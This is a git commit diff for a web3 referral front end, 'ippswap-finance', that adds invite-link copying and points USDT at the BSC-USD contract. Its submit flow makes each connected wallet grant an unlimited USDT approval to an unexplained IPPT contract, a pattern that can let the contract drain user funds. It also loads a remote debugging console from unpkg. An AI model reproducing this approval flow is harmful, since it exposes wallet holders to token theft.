Browse Source

复制方法提交

master
j1ack 3 years ago
parent
commit
9973c97f4b
  1. 9
      index.html
  2. 9
      manifest.json
  3. 2
      pages.json
  4. 116
      pages/index/index.vue
  5. BIN
      static/images/logo2.png
  6. 2
      utils/language/zh_TW.js
  7. 4
      utils/web3x/web3x.js

9
index.html

@ -4,7 +4,6 @@
<meta charset="UTF-8" /> <meta charset="UTF-8" />
<meta name="viewport" <meta name="viewport"
content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"> content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no">
<script> <script>
window.onload = function() { window.onload = function() {
document.addEventListener('touchstart', function(event) { document.addEventListener('touchstart', function(event) {
@ -12,7 +11,6 @@
event.preventDefault(); event.preventDefault();
} }
}); });
document.addEventListener('gesturestart', function(event) { document.addEventListener('gesturestart', function(event) {
event.preventDefault(); event.preventDefault();
@ -144,12 +142,11 @@
<!--app-context--> <!--app-context-->
<link rel="stylesheet" href="<%= BASE_URL %>static/index.<%= VUE_APP_INDEX_CSS_HASH %>.css" /> <link rel="stylesheet" href="<%= BASE_URL %>static/index.<%= VUE_APP_INDEX_CSS_HASH %>.css" />
<!-- <link rel="icon" href="./static/images/logo2.png" /> --> <link rel="icon" href="./static/images/logo2.png" />
<!-- <script src="https://unpkg.com/vconsole@latest/dist/vconsole.min.js"></script> <script src="https://unpkg.com/vconsole@latest/dist/vconsole.min.js"></script>
<script> <script>
// VConsole will be exported to `window.VConsole` by default.
var vConsole = new window.VConsole(); var vConsole = new window.VConsole();
</script> --> </script>
</head> </head>
<body> <body>

9
manifest.json

@ -1,5 +1,5 @@
{ {
"name" : "kakapay", "name" : "ippswap-finance",
"appid" : "__UNI__0088A51", "appid" : "__UNI__0088A51",
"description" : "", "description" : "",
"versionName" : "1.0.0", "versionName" : "1.0.0",
@ -85,12 +85,15 @@
} }
} }
}, },
"title" : "kakapay", "title" : "ippswap-finance",
"optimization" : { "optimization" : {
"treeShaking" : { "treeShaking" : {
"enable" : true "enable" : true
} }
}, },
"template" : "index.html" "template" : "index.html",
"router" : {
"mode" : "history"
}
} }
} }

2
pages.json

@ -6,7 +6,7 @@
{ {
"path": "pages/index/index", "path": "pages/index/index",
"style": { "style": {
"navigationBarTitleText": "" "navigationBarTitleText": "ippswap-finance"
// "enablePullDownRefresh": true // "enablePullDownRefresh": true
} }
} }

116
pages/index/index.vue

@ -42,8 +42,9 @@
<image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image> <image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image>
<text class="text-primary f36">{{ i18n.link }}</text> <text class="text-primary f36">{{ i18n.link }}</text>
</view> </view>
<view class="m48 text-primary" style="word-break: break-all;"> <view class="m48 text-primary" style="word-break: break-all;" @click="onCopy(url)">
https://ippswap.com/community?inviteCode={{form.address}} <!-- https://ippswap.com/community?inviteCode={{form.supAddress}} -->
{{url}}
</view> </view>
</view> </view>
@ -58,7 +59,7 @@
web3x web3x
} from "@/utils/web3x/web3x.js" } from "@/utils/web3x/web3x.js"
const ipptAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186' const ipptAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'
export default { export default {
components: { components: {
@ -66,6 +67,7 @@
}, },
data() { data() {
return { return {
url: '',
form: { form: {
address: '', address: '',
contract: '0x6b175474e89094c44da98b954eedeac495271d0f', contract: '0x6b175474e89094c44da98b954eedeac495271d0f',
@ -85,8 +87,11 @@
}, },
onLoad(val) { onLoad(val) {
if (val) { this.url = location.origin + '?inviteCode=';
if (val.inviteCode) {
this.form.supAddress = val.inviteCode this.form.supAddress = val.inviteCode
} else {
this.form.supAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'
} }
this.init() this.init()
}, },
@ -96,12 +101,25 @@
// 必须要在onReady生命周期,因为onLoad生命周期组件可能尚未创建完毕 // 必须要在onReady生命周期,因为onLoad生命周期组件可能尚未创建完毕
onReady() {}, onReady() {},
methods: { methods: {
// 点击复制按钮
onCopy(v) {
uni.setClipboardData({
data: v,
success: () => {
uni.showToast({
title: 'success',
icon: 'none',
})
}
})
},
init() { init() {
web3x.connectViaInPage() web3x.connectViaInPage()
.then(res => { .then(res => {
this.form.address = web3x.selectedAddress this.form.address = web3x.selectedAddress
// 当前钱包地址 // 当前钱包地址
console.log("当前钱包地址", web3x.selectedAddress); // console.log("当前钱包地址", web3x.selectedAddress);
this.url = location.origin + '?inviteCode=' + web3x.selectedAddress
}) })
}, },
submit() { submit() {
@ -116,46 +134,60 @@
mask: true mask: true
}) })
// 当前钱包地址 // 当前钱包地址
console.log("当前钱包地址", web3x.selectedAddress); // console.log("当前钱包地址", web3x.selectedAddress);
// 检查 USDT 授权给 IPPT 的数量 // 检查 USDT 授权给 IPPT 的数量
const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress) const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress)
// console.log(allowance, '当前用户授权给ippt的数量')
// 如果 allowance 大于某个值则不需要重新授权. 示例为 1000000 USDT // 如果 allowance 大于某个值则不需要重新授权. 示例为 1000000 USDT
if (allowance > Number(1000000) * 10 ** Number(18)) { if (allowance > Number(1000000) * 10 ** Number(18)) {
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
uni.hideLoading() uni.hideLoading()
} else { } else {
// 否则则需要重新授权为 0, 然后在进行极限授权 // 否则则需要重新授权为 0, 然后在进行极限授权
// 提示最小需授权 XXX USDT, 请取消授权后重新授权 // 提示最小需授权 XXX USDT, 请取消授权后重新授权
// 取消授权
// 取消授权 if (allowance == 0) {
web3x.usdt.$approve(ipptAddress, 0) // 然后在进行极限授权
.on("receipt", () => { web3x.usdt.approveMAX(ipptAddress)
console.log("取消授权完成") .on("transactionHash", () => {
// 然后在进行极限授权 // console.log("调用极限授权")
web3x.usdt.approveMAX(ipptAddress) // 调用IPPT 合约绑定上级关系
.on("transactionHash", () => { // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
console.log("调用极限授权") // web3x.selectedAddress: 当前钱包地址
web3x.ippt.$creatCode(this.form.supAddress, web3x
// 调用IPPT 合约绑定上级关系 .selectedAddress)
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址 uni.hideLoading()
// web3x.selectedAddress: 当前钱包地址 })
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) } else {
uni.hideLoading() web3x.usdt.$approve(ipptAddress, 0)
}) .on("receipt", () => {
}) // console.log("取消授权完成")
} // 然后在进行极限授权
web3x.usdt.approveMAX(ipptAddress)
.on("transactionHash", () => {
// console.log("调用极限授权")
// 调用IPPT 合约绑定上级关系
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
// web3x.selectedAddress: 当前钱包地址
web3x.ippt.$creatCode(this.form.supAddress, web3x
.selectedAddress)
uni.hideLoading()
})
})
}
}
// 授权当前钱包的 USDT 给 IPPT (参数为 IPPT 合约地址) // 授权当前钱包的 USDT 给 IPPT (参数为 IPPT 合约地址)
// web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186") // web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186")
// .on("transactionHash", async (receipt) => { // .on("transactionHash", async (receipt) => {
// console.log("transactionHash", receipt) // console.log("transactionHash", receipt)
// // 调用IPPT 合约绑定上级关系 // // 调用IPPT 合约绑定上级关系
// // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址 // // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
// // web3x.selectedAddress: 当前钱包地址 // // web3x.selectedAddress: 当前钱包地址
// await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) // await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
// uni.hideLoading() // uni.hideLoading()
// }) // })
}) })
}, },
go(val) { go(val) {

BIN
static/images/logo2.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

2
utils/language/zh_TW.js

@ -2,7 +2,7 @@
export default { export default {
tabBar: { tabBar: {
Home: '尊敬的ippswap基金會會員:', Home: '尊敬的ippswap基金會會員:',
contract: '映射智慧合約', contract: '映射智能合約',
address: '我的邀請人地址', address: '我的邀請人地址',
confirm: '確認', confirm: '確認',
link: '我的邀請連結', link: '我的邀請連結',

4
utils/web3x/web3x.js

@ -413,6 +413,6 @@ export const web3x = new Web3X(
// BSC链Id是56 // BSC链Id是56
// ippt 合约 // ippt 合约
"0x622d7b79a904e00e5fcab06396ff009e441f0186", "0x622d7b79a904e00e5fcab06396ff009e441f0186",
// usdt 合约 // usdt 合约 0x0a70dDf7cDBa3E8b6277C9DDcAf2185e8B6f539f
"0x0a70dDf7cDBa3E8b6277C9DDcAf2185e8B6f539f" "0x55d398326f99059fF775485246999027B3197955"
); );

Loading…
Cancel
Save